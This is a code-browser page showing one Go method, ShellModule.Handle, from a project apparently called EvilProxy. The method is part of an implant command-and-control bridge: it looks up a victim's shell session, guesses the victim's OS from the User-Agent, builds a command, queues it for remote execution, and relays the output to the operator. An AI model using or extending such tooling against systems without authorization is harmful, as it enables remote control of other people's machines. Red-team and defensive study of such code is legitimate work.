MCPcopy Create free account
hub / github.com/chainreactors/EvilProxy / Handle

Method Handle

internal/bridge/module_shell.go:44–98  ·  view source on GitHub ↗

Handle processes a shell module command.

(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite)

Source from the content-addressed store, hash-verified

42
43// Handle processes a shell module command.
44func (m *ShellModule) Handle(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite) {
45 sess, toolName := acquireShellSession(ctx, sessionID, taskID, m.name)
46 if sess == nil {
47 return
48 }
49
50 // Determine OS from User-Agent.
51 info := parseUserAgentFull(sess.UserAgent)
52 osName := info.osName
53
54 // Extract request args.
55 var req *implantpb.Request
56 if r := spite.GetRequest(); r != nil {
57 req = r
58 } else {
59 req = &implantpb.Request{}
60 }
61
62 // Build the OS-specific command.
63 command := m.buildCommand(osName, req)
64 if command == "" {
65 ctx.SendSpite(sessionID, taskID, execSpite(fmt.Sprintf("cannot build command for module %s on %s", m.name, osName)))
66 ctx.Tasks.Fail(sessionID, taskID, "empty command")
67 return
68 }
69
70 result := enqueueAndAwait(ctx, sessionID, taskID, sess, toolName, command)
71 if result == nil {
72 return
73 }
74
75 output := extractPlainOutput(result.Output)
76
77 var resultSpite *implantpb.Spite
78 if m.buildResponse != nil {
79 resultSpite = m.buildResponse(output, osName, req)
80 }
81 if resultSpite == nil {
82 // Fallback to ExecResponse.
83 resp := parseToolOutput(result.Output)
84 resp.End = true
85 resultSpite = &implantpb.Spite{
86 Name: consts.ModuleExecute,
87 Body: &implantpb.Spite_ExecResponse{ExecResponse: resp},
88 }
89 }
90
91 if err := ctx.SendSpite(sessionID, taskID, resultSpite); err != nil {
92 log.Errorf("[bridge] failed to forward module %s task %d: %v", m.name, taskID, err)
93 ctx.Tasks.Fail(sessionID, taskID, err.Error())
94 } else {
95 log.Infof("[bridge] forwarded module %s task %d result for session %s", m.name, taskID, sessionID)
96 ctx.Tasks.Complete(sessionID, taskID)
97 }
98}

Callers

nothing calls this directly

Calls 9

acquireShellSessionFunction · 0.85
parseUserAgentFullFunction · 0.85
execSpiteFunction · 0.85
enqueueAndAwaitFunction · 0.85
extractPlainOutputFunction · 0.85
parseToolOutputFunction · 0.85
FailMethod · 0.80
ErrorMethod · 0.45
CompleteMethod · 0.45

Tested by

no test coverage detected